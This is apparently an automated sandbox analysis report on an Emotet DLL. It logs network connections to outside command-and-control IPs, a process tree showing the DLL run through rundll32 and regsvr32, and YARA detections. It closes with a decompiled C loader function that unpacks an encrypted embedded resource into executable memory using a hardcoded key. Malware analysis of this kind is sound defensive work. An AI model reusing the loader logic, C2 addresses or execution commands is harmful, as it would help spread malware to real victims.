Mar 2, 2022 19:57:35.421608925 CET	49753	8080	192.168.2.7	209.15.236.39
Mar 2, 2022 19:57:35.827656984 CET	49753	8080	192.168.2.7	209.15.236.39
Mar 2, 2022 19:57:35.937663078 CET	8080	49753	209.15.236.39	192.168.2.7
Mar 2, 2022 19:57:35.965568066 CET	8080	49753	209.15.236.39	192.168.2.7
Mar 2, 2022 19:57:35.965596914 CET	8080	49753	209.15.236.39	192.168.2.7
Mar 2, 2022 19:57:35.965732098 CET	49753	8080	192.168.2.7	209.15.236.39
Mar 2, 2022 19:57:38.769229889 CET	49753	8080	192.168.2.7	209.15.236.39
Mar 2, 2022 19:57:38.881038904 CET	8080	49753	209.15.236.39	192.168.2.7
Mar 2, 2022 19:57:38.881207943 CET	49753	8080	192.168.2.7	209.15.236.39
Mar 2, 2022 19:57:38.890213013 CET	49753	8080	192.168.2.7	209.15.236.39
Mar 2, 2022 19:57:39.039993048 CET	8080	49753	209.15.236.39	192.168.2.7
Mar 2, 2022 19:57:39.327476978 CET	8080	49753	209.15.236.39	192.168.2.7
Mar 2, 2022 19:57:39.327644110 CET	49753	8080	192.168.2.7	209.15.236.39
Mar 2, 2022 19:57:39.622028112 CET	49755	443	192.168.2.7	162.244.80.68
Mar 2, 2022 19:57:39.622080088 CET	443	49755	162.244.80.68	192.168.2.7
Mar 2, 2022 19:57:39.622344017 CET	49755	443	192.168.2.7	162.244.80.68
Mar 2, 2022 19:57:39.623061895 CET	49755	443	192.168.2.7	162.244.80.68
Mar 2, 2022 19:57:39.623080015 CET	443	49755	162.244.80.68	192.168.2.7
Mar 2, 2022 19:57:39.719871044 CET	443	49755	162.244.80.68	192.168.2.7
Mar 2, 2022 19:57:39.724642038 CET	49756	443	192.168.2.7	162.244.80.68
Mar 2, 2022 19:57:39.724710941 CET	443	49756	162.244.80.68	192.168.2.7
Mar 2, 2022 19:57:39.726372957 CET	49756	443	192.168.2.7	162.244.80.68
Mar 2, 2022 19:57:39.727152109 CET	49756	443	192.168.2.7	162.244.80.68
Mar 2, 2022 19:57:39.727174997 CET	443	49756	162.244.80.68	192.168.2.7
Mar 2, 2022 19:57:39.824115992 CET	443	49756	162.244.80.68	192.168.2.7
Mar 2, 2022 19:57:39.825886011 CET	49757	443	192.168.2.7	162.244.80.68
Mar 2, 2022 19:57:39.825927019 CET	443	49757	162.244.80.68	192.168.2.7
Mar 2, 2022 19:57:39.826036930 CET	49757	443	192.168.2.7	162.244.80.68
Mar 2, 2022 19:57:39.826359034 CET	49757	443	192.168.2.7	162.244.80.68
Mar 2, 2022 19:57:39.826400995 CET	443	49757	162.244.80.68	192.168.2.7
Mar 2, 2022 19:57:39.826981068 CET	49757	443	192.168.2.7	162.244.80.68
Mar 2, 2022 19:57:39.831901073 CET	49758	8080	192.168.2.7	195.154.253.60
Mar 2, 2022 19:57:39.860126019 CET	8080	49758	195.154.253.60	192.168.2.7
Mar 2, 2022 19:57:40.461340904 CET	49758	8080	192.168.2.7	195.154.253.60
Mar 2, 2022 19:57:40.489495993 CET	8080	49758	195.154.253.60	192.168.2.7
Mar 2, 2022 19:57:41.067751884 CET	49758	8080	192.168.2.7	195.154.253.60
Mar 2, 2022 19:57:41.095854044 CET	8080	49758	195.154.253.60	192.168.2.7
Mar 2, 2022 19:57:41.107013941 CET	49759	8080	192.168.2.7	31.24.158.56
Mar 2, 2022 19:57:41.149450064 CET	8080	49759	31.24.158.56	192.168.2.7
Mar 2, 2022 19:57:41.770865917 CET	49759	8080	192.168.2.7	31.24.158.56
Mar 2, 2022 19:57:41.812984943 CET	8080	49759	31.24.158.56	192.168.2.7
Mar 2, 2022 19:57:42.327259064 CET	8080	49753	209.15.236.39	192.168.2.7
Mar 2, 2022 19:57:42.327280045 CET	8080	49753	209.15.236.39	192.168.2.7
Mar 2, 2022 19:57:42.327415943 CET	49753	8080	192.168.2.7	209.15.236.39
Mar 2, 2022 19:57:42.458467960 CET	49759	8080	192.168.2.7	31.24.158.56
Mar 2, 2022 19:57:42.501386881 CET	8080	49759	31.24.158.56	192.168.2.7
Mar 2, 2022 19:57:42.530085087 CET	49760	8080	192.168.2.7	209.126.98.206
Mar 2, 2022 19:57:42.659846067 CET	8080	49760	209.126.98.206	192.168.2.7
Mar 2, 2022 19:57:42.660002947 CET	49760	8080	192.168.2.7	209.126.98.206
Mar 2, 2022 19:57:42.660720110 CET	49760	8080	192.168.2.7	209.126.98.206
Mar 2, 2022 19:57:42.790246964 CET	8080	49760	209.126.98.206	192.168.2.7
Mar 2, 2022 19:57:42.819113970 CET	8080	49760	209.126.98.206	192.168.2.7
Mar 2, 2022 19:57:42.819134951 CET	8080	49760	209.126.98.206	192.168.2.7
Mar 2, 2022 19:57:42.819235086 CET	49760	8080	192.168.2.7	209.126.98.206
Mar 2, 2022 19:57:42.909732103 CET	49760	8080	192.168.2.7	209.126.98.206
Mar 2, 2022 19:57:43.040522099 CET	8080	49760	209.126.98.206	192.168.2.7
Mar 2, 2022 19:57:43.040708065 CET	49760	8080	192.168.2.7	209.126.98.206
Mar 2, 2022 19:57:43.043392897 CET	49760	8080	192.168.2.7	209.126.98.206
Mar 2, 2022 19:57:43.214023113 CET	8080	49760	209.126.98.206	192.168.2.7
Mar 2, 2022 19:57:44.225191116 CET	8080	49760	209.126.98.206	192.168.2.7
Mar 2, 2022 19:57:44.225321054 CET	49760	8080	192.168.2.7	209.126.98.206
Mar 2, 2022 19:57:47.224236012 CET	8080	49760	209.126.98.206	192.168.2.7
Mar 2, 2022 19:57:47.224266052 CET	8080	49760	209.126.98.206	192.168.2.7
Mar 2, 2022 19:57:47.224400997 CET	49760	8080	192.168.2.7	209.126.98.206
Mar 2, 2022 19:57:47.224440098 CET	49760	8080	192.168.2.7	209.126.98.206
Mar 2, 2022 19:59:25.591171980 CET	49760	8080	192.168.2.7	209.126.98.206
Mar 2, 2022 19:59:25.591233015 CET	49760	8080	192.168.2.7	209.126.98.206
Mar 2, 2022 19:59:25.591705084 CET	49753	8080	192.168.2.7	209.15.236.39
Mar 2, 2022 19:59:25.591726065 CET	49753	8080	192.168.2.7	209.15.236.39

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 2, 2022 19:57:10.836042881 CET	63668	53	192.168.2.7	8.8.8.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Mar 2, 2022 19:57:10.836042881 CET	192.168.2.7	8.8.8.8	0x6a79	Standard query (0)	store-images.s-microsoft.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Mar 2, 2022 19:57:10.854796886 CET	8.8.8.8	192.168.2.7	0x6a79	No error (0)	store-images.s-microsoft.com	store-images.s-microsoft.com-c.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 2, 2022 19:58:00.966448069 CET	8.8.8.8	192.168.2.7	0xab50	No error (0)	au.c-0001.c-msedge.net	c-0001.c-msedge.net		CNAME (Canonical name)	IN (0x0001)
Mar 2, 2022 19:58:00.966448069 CET	8.8.8.8	192.168.2.7	0xab50	No error (0)	c-0001.c-msedge.net		13.107.4.50	A (IP address)	IN (0x0001)

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exePID: 6332, Parent PID: 4612

General

Target ID:	0
Start time:	19:57:14
Start date:	02/03/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\aew.dll"
Imagebase:	0x340000
File size:	116736 bytes
MD5 hash:	7DEB5DB86C0AC789123DEC286286B938
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6340, Parent PID: 6332

General

Target ID:	1
Start time:	19:57:14
Start date:	02/03/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\aew.dll",#1
Imagebase:	0x870000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 6348, Parent PID: 6332

General

Target ID:	2
Start time:	19:57:15
Start date:	02/03/2022
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\aew.dll
Imagebase:	0x170000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000002.260001868.0000000010001000.00000020.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000002.259383580.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6360, Parent PID: 6340

General

Target ID:	3
Start time:	19:57:15
Start date:	02/03/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\aew.dll",#1
Imagebase:	0x1290000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.257963614.0000000010001000.00000020.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.257451642.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6376, Parent PID: 6332

General

Target ID:	4
Start time:	19:57:16
Start date:	02/03/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\aew.dll,DllRegisterClass
Imagebase:	0x1290000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.257029910.00000000010D0000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.257163144.0000000010001000.00000020.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 6444, Parent PID: 6348

General

Target ID:	5
Start time:	19:57:18
Start date:	02/03/2022
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\regsvr32.exe /s "C:\Windows\SysWOW64\Iwjnrtcqqbgfsi\wfsnntpgtibz.klm"
Imagebase:	0x170000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.773000453.0000000010001000.00000020.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.772657336.0000000004B80000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6488, Parent PID: 560

General

Target ID:	6
Start time:	19:57:19
Start date:	02/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6520, Parent PID: 6332

General

Target ID:	7
Start time:	19:57:20
Start date:	02/03/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\aew.dll,DllRegisterServer
Imagebase:	0x1290000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6604, Parent PID: 6332

General

Target ID:	8
Start time:	19:57:23
Start date:	02/03/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\aew.dll,DllUnregisterServer
Imagebase:	0x1290000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6804, Parent PID: 560

General

Target ID:	11
Start time:	19:57:30
Start date:	02/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6928, Parent PID: 560

General

Target ID:	12
Start time:	19:57:33
Start date:	02/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6996, Parent PID: 560

General

Target ID:	13
Start time:	19:57:35
Start date:	02/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: SgrmBroker.exePID: 7064, Parent PID: 560

General

Target ID:	14
Start time:	19:57:35
Start date:	02/03/2022
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff6de5a0000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 7088, Parent PID: 560

General

Target ID:	15
Start time:	19:57:36
Start date:	02/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 2768, Parent PID: 560

General

Target ID:	17
Start time:	19:57:54
Start date:	02/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x11a0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: MpCmdRun.exePID: 6432, Parent PID: 7088

General

Target ID:	18
Start time:	19:58:37
Start date:	02/03/2022
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff6cae50000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6588, Parent PID: 6432

General

Target ID:	19
Start time:	19:58:38
Start date:	02/03/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: regsvr32.exePID: 6348, Parent PID: 6332COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.6%
Total number of Nodes:	1475
Total number of Limit Nodes:	45

Executed Functions

Function 6EB456B0 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 412
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E6EB456B0(void* __edi) {
				void* __ebx;
				void* __esi;
				signed int _t102;
				void* _t108;
				void* _t121;
				intOrPtr _t125;
				intOrPtr _t126;
				intOrPtr _t127;
				intOrPtr _t128;
				intOrPtr _t129;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				intOrPtr _t135;
				intOrPtr _t136;
				intOrPtr _t137;
				intOrPtr _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t141;
				intOrPtr _t143;
				intOrPtr _t144;
				intOrPtr _t146;
				intOrPtr _t147;
				void* _t165;
				void* _t167;
				signed int _t168;
				signed int _t170;
				signed int _t171;
				intOrPtr _t180;
				signed int _t183;
				signed int _t188;
				struct HINSTANCE__* _t203;
				void* _t204;
				signed int _t205;
				signed int _t206;
				void* _t209;
				void* _t214;
				signed int _t229;
				signed int _t235;
				signed int _t236;
				signed int _t237;
				char _t239;
				signed int _t275;
				signed int _t280;
				signed int _t289;
				void* _t290;
				void* _t291;
				intOrPtr* _t292;
				signed int _t293;
				void* _t294;
				signed int _t300;
				void* _t306;
				signed int _t307;
				void* _t308;
				struct HRSRC__* _t309;
				int _t310;
				signed int _t311;
				void* _t312;
				signed int _t315;
				signed int _t321;
				void* _t328;
				void* _t329;
				void* _t331;
				void* _t338;

				_t290 = __edi;
				_t102 =  *0x6eb89470; // 0x6287ae78
				 *(_t327 + 0x54) = _t102 ^ _t327;
				_t203 =  *(_t327 + 0x60);
				 *(_t327 + 0x10) = _t203;
				if( *(_t327 + 0x60) != 1) {
					L10:
					_pop(_t306);
					_pop(_t204);
					return E6EB63DE0(1, _t204,  *(_t327 + 0x54) ^ _t327, _t242, _t290, _t306);
				} else {
					_t307 =  *0x6eb8a9d4; // 0x0
					_t108 = E6EB643C3(_t203, _t242, __edi, _t307); // executed
					_t315 = 0;
					_t328 = _t327 + 4;
					if(_t108 == 0) {
						L6:
						 *((short*)(_t328 + 0x44)) = 0x6b;
						 *((short*)(_t328 + 0x46)) = 0x65;
						 *((short*)(_t328 + 0x4c)) = 0x65;
						 *((short*)(_t328 + 0x48)) = 0x72;
						 *((short*)(_t328 + 0x4a)) = 0x6e;
						 *((short*)(_t328 + 0x4e)) = 0x6c;
						 *((short*)(_t328 + 0x52)) = 0x32;
						 *((short*)(_t328 + 0x50)) = 0x33;
						 *((short*)(_t328 + 0x54)) = 0x2e;
						 *((short*)(_t328 + 0x58)) = 0x6c;
						 *((short*)(_t328 + 0x5a)) = 0x6c;
						 *((short*)(_t328 + 0x56)) = 0x64;
						 *((short*)(_t328 + 0x5c)) = 0;
						 *((short*)(_t328 + 0x18)) = 0x6e;
						 *((short*)(_t328 + 0x1a)) = 0x74;
						 *((short*)(_t328 + 0x1e)) = 0x6c;
						 *((short*)(_t328 + 0x1c)) = 0x64;
						 *((short*)(_t328 + 0x24)) = 0x64;
						 *((short*)(_t328 + 0x20)) = 0x6c;
						 *((short*)(_t328 + 0x22)) = 0x2e;
						 *((short*)(_t328 + 0x26)) = 0x6c;
						 *((short*)(_t328 + 0x2a)) = 0;
						 *((short*)(_t328 + 0x28)) = 0x6c;
						 *((short*)(_t328 + 0x2c)) = 0x6d;
						 *((short*)(_t328 + 0x30)) = 0x76;
						 *((short*)(_t328 + 0x2e)) = 0x73;
						 *((short*)(_t328 + 0x32)) = 0x63;
						 *((short*)(_t328 + 0x36)) = 0x74;
						 *((short*)(_t328 + 0x34)) = 0x72;
						 *((short*)(_t328 + 0x38)) = 0x2e;
						 *((short*)(_t328 + 0x3c)) = 0x6c;
						 *((short*)(_t328 + 0x3a)) = 0x64;
						 *0x6eb8a9bc = _t315;
						 *0x6eb8a9c0 = _t315;
						 *0x6eb8a9c4 = _t315;
						 *0x6eb8a9cc = _t315;
						 *0x6eb8a9c8 = _t315;
						 *0x6eb8a9d0 = _t315;
						 *0x6eb8a9d4 = _t315;
						 *((short*)(_t328 + 0x46)) = 0x6c;
						 *((short*)(_t328 + 0x48)) = 0;
						_t121 = E6EB41BD0(_t337);
						_t308 = _t121;
						 *((intOrPtr*)(_t328 + 0x18)) = E6EB41BD0(_t337);
						_t291 = E6EB41BD0(_t337);
						_t125 = E6EB41D20();
						 *0x6eb8d540 = _t125;
						_t126 = E6EB41D20();
						 *0x6eb8d53c = _t126;
						_t127 = E6EB41D20();
						 *0x6eb8d530 = _t127;
						_t128 = E6EB41D20();
						 *0x6eb8d520 = _t128;
						_t129 = E6EB41D20();
						 *0x6eb8d534 = _t129;
						_t130 = E6EB41D20();
						 *0x6eb8d54c = _t130;
						_t131 = E6EB41D20();
						_t329 = _t328 + 0x44;
						 *0x6eb8d4f8 = _t131;
						_t132 = E6EB41D20();
						 *0x6eb8d4fc = _t132;
						_t133 = E6EB41D20();
						 *0x6eb8d508 = _t133;
						_t134 = E6EB41D20();
						 *0x6eb8d524 = _t134;
						_t135 = E6EB41D20();
						 *0x6eb8d51c = _t135;
						_t136 = E6EB41D20();
						 *0x6eb8d518 = _t136;
						_t137 = E6EB41D20();
						 *0x6eb8d528 = _t137;
						_t138 = E6EB41D20();
						 *0x6eb8d550 = _t138;
						_t139 = E6EB41D20();
						 *0x6eb8d50c = _t139;
						_t140 = E6EB41D20();
						 *0x6eb8d504 = _t140;
						_t141 = E6EB41D20();
						 *0x6eb8d548 = _t141;
						 *0x6eb8d544 = E6EB41D20();
						_t143 = E6EB41D20();
						 *0x6eb8d52c = _t143;
						_t144 = E6EB41D20();
						 *0x6eb8d500 = _t144;
						_t292 = E6EB41D20();
						 *0x6eb8d538 = _t292;
						_t146 = E6EB41D20();
						 *0x6eb8d514 = _t146;
						_t147 = E6EB41D20();
						_t331 = _t329 + 0x80;
						 *0x6eb8d510 = _t147;
						_t309 =  *_t292(_t203, 0x18db, 0x6eb7ec80, _t308, 0x26cd7dca, _t308, 0x7b31093d, _t308, 0x4373804c, _t308, 0xd3f13870, _t308, 0x56e62f04, _t308, 0xcfb1d078, _t308, 0x58a70fe0,  *((intOrPtr*)(_t329 + 0x50)), 0x55fc08e8, _t308, 0xf4ae831f, _t308, 0x362cbb69, _t308, 0x6430e074, _t308, 0x6169a9dd, _t308, 0x2ae91975, _t308, 0x8badae6c, _t308, 0x60444859, _t308, 0x7994b016, _t291, 0x65925735, _t291, 0x65ea533a, _t291, 0x4e8a56ec, _t291, 0xf1fb160e, _t291, 0xd78e06bf, _t291, 0x652a1560, _t291, 0x63e21564, _t328 + 0x38, _t328 + 0x20, _t328 + 0x44, _t290);
						 *((intOrPtr*)(_t331 + 0x20)) = LoadResource(_t203, _t309);
						_t310 = SizeofResource(_t203, _t309);
						 *(_t331 + 0x10) = _t310;
						_t338 =  *0x6eb8d508 - _t315; // 0x76d266e0
						if(_t338 == 0) {
							_t293 =  *0x6eb8a9c8; // 0x0
							_t229 =  *0x6eb8a9bc; // 0x0
							_t311 =  *0x6eb8a9c4; // 0x0
							_t205 =  *0x6eb8a9c0; // 0x0
							_t63 = _t293 + 1; // 0x1
							_t65 = (_t205 - _t63 * _t229) * 4; // -15
							_t68 = _t311 * 4; // 0x5
							_t206 =  *0x6eb8a9cc; // 0x0
							_t321 =  *0x6eb8a9c0; // 0x0
							_t275 =  *0x6eb8a9d0; // 0x0
							_t310 =  *(_t331 + 0x14);
							_t81 = _t293 + 1; // 0x1
							_t315 = 0;
							__eflags = 0;
							_t165 = VirtualAlloc(0, _t310, _t311 * _t321 * _t229 + _t311 * _t321 * _t229 * 0x00000004 - ((_t311 + _t68 + 0x00000005) * _t293 + _t321 * _t229 + _t321 * _t229 * 0x00000004) * _t206 + 0x00001000 | ((_t206 + _t311) * _t206 - _t293 * _t229 * _t229 * _t229 + _t275 + _t311) *  *0x6eb8a9c0 - (_t206 + 0x00000001) * _t275 - _t81 * _t293 + _t229 + 0x00002000 + (((_t206 + _t311) * _t206 - _t293 * _t229 * _t229 * _t229 + _t275 + _t311) *  *0x6eb8a9c0 - (_t206 + 0x00000001) * _t275 - _t81 * _t293 + _t229) * 0x00000002, _t293 + _t311 + _t229 + (_t293 + _t311 + _t229) * 4 + (_t205 - _t63 * _t229 + _t65 - 0xf) *  *0x6eb8a9d0 + ((_t311 + _t68 + 5) * _t205 - 0xf) * _t206 + 0x40);
						} else {
							_t289 =  *0x6eb8a9c4; // 0x0
							_t183 =  *0x6eb8a9cc; // 0x0
							_t237 =  *0x6eb8a9d0; // 0x0
							_t51 = (_t183 - _t289) * 2; // -3
							_t188 =  *0x6eb8a9c0; // 0x0
							_t300 =  *0x6eb8a9bc; // 0x0
							_t62 = _t237 - _t188 + _t188 * 2 -  *0x6eb8a9c8 + _t289 + _t300 + (_t237 - _t188 + _t188 * 2 -  *0x6eb8a9c8 + _t289 + _t300) * 2 + 0x2000; // 0x1ffd
							_t165 =  *0x6eb8d508(0xffffffff, _t315, _t310, ((_t183 - _t289 + _t51 - 0x00000003) * _t237 + 0x00000003 -  *0x6eb8a9c8 + 6) *  *0x6eb8a9cc + _t62 | (0x00000001 - _t237 * _t300) * _t289 + 0x00001000, 0x40 + (_t183 - _t237 - _t289) * 4, _t315); // executed
						}
						_t294 = _t165;
						memcpy(_t294,  *(_t331 + 0x18), _t310);
						_t167 = malloc(0x204d); // executed
						_t209 = _t167;
						_t168 =  *0x6eb8a9cc; // 0x0
						_t87 = _t168 -  *0x6eb8a9c4 - 2; // -1857595846
						_t280 =  *0x6eb8a9c8; // 0x0
						_t89 = (_t280 - _t168) * 2; // -1857595789
						_t170 =  *0x6eb8a9c0; // 0x0
						_t171 =  *0x6eb8a9bc; // 0x0
						_t235 =  *0x6eb8a9c4; // 0x0
						_t94 = _t171 + 1; // 0x1
						_t236 =  *0x6eb8a9c0; // 0x0
						_t242 = _t209 + ((_t235 + _t94) *  *0x6eb8a9cc + _t235 + (_t235 * _t171 - 3) *  *0x6eb8a9d0 + _t236 * 2) * 2 + (_t235 + _t94) *  *0x6eb8a9cc + _t235 + (_t235 * _t171 - 3) *  *0x6eb8a9d0 + _t236 * 2;
						E6EB42060(_t209 + ((_t235 + _t94) *  *0x6eb8a9cc + _t235 + (_t235 * _t171 - 3) *  *0x6eb8a9d0 + _t236 * 2) * 2 + (_t235 + _t94) *  *0x6eb8a9cc + _t235 + (_t235 * _t171 - 3) *  *0x6eb8a9d0 + _t236 * 2, "+^lc?FUPR%6D6@hW^@hZu0RYT5tz+auO$ZYZa5DctZ9>+%cuRY%u*19n" - _t170 + _t170 * 2 + _t170 + _t170 * 2, (_t168 -  *0x6eb8a9c4 + _t87) *  *0x6eb8a9c0 + _t89 + 0x39);
						E6EB42340();
						 *0x6eb8d530(_t209, _t209, _t294, _t310);
						_t180 = E6EB44010();
						_t327 = _t331 + 0x34;
						 *0x6eb8d558 = _t180;
						 *0x6eb8d554( *((intOrPtr*)(_t331 + 0x4c)), 1, _t315, _t294, _t310);
						_pop(_t290);
						goto L10;
					} else {
						_t239 = 0;
						 *((intOrPtr*)(_t328 + 0xc)) = 0;
						if(_t307 > 0) {
							do {
								 *((char*)(_t239 + _t108)) = _t239;
								_t239 = _t239 + 1;
								_t336 = _t239 - _t307;
							} while (_t239 < _t307);
							 *((intOrPtr*)(_t328 + 0xc)) = _t239;
						}
						_push(_t108); // executed
						E6EB642E6(_t203, _t290, _t307, _t336); // executed
						_t328 = _t328 + 4;
						_t337 =  *((intOrPtr*)(_t328 + 0xc)) - _t307;
						if( *((intOrPtr*)(_t328 + 0xc)) != _t307) {
							E6EB6448D(_t203, _t242, _t290, _t307, __eflags);
							_t312 = 0x6eb7ec94;
							_pop(_t214);
							__eflags = 0;
							return E6EB63DE0(0, _t214,  *(_t328 + 0x64) ^ _t328 + 0x00000004, _t242, _t290, _t312);
						} else {
							goto L6;
						}
					}
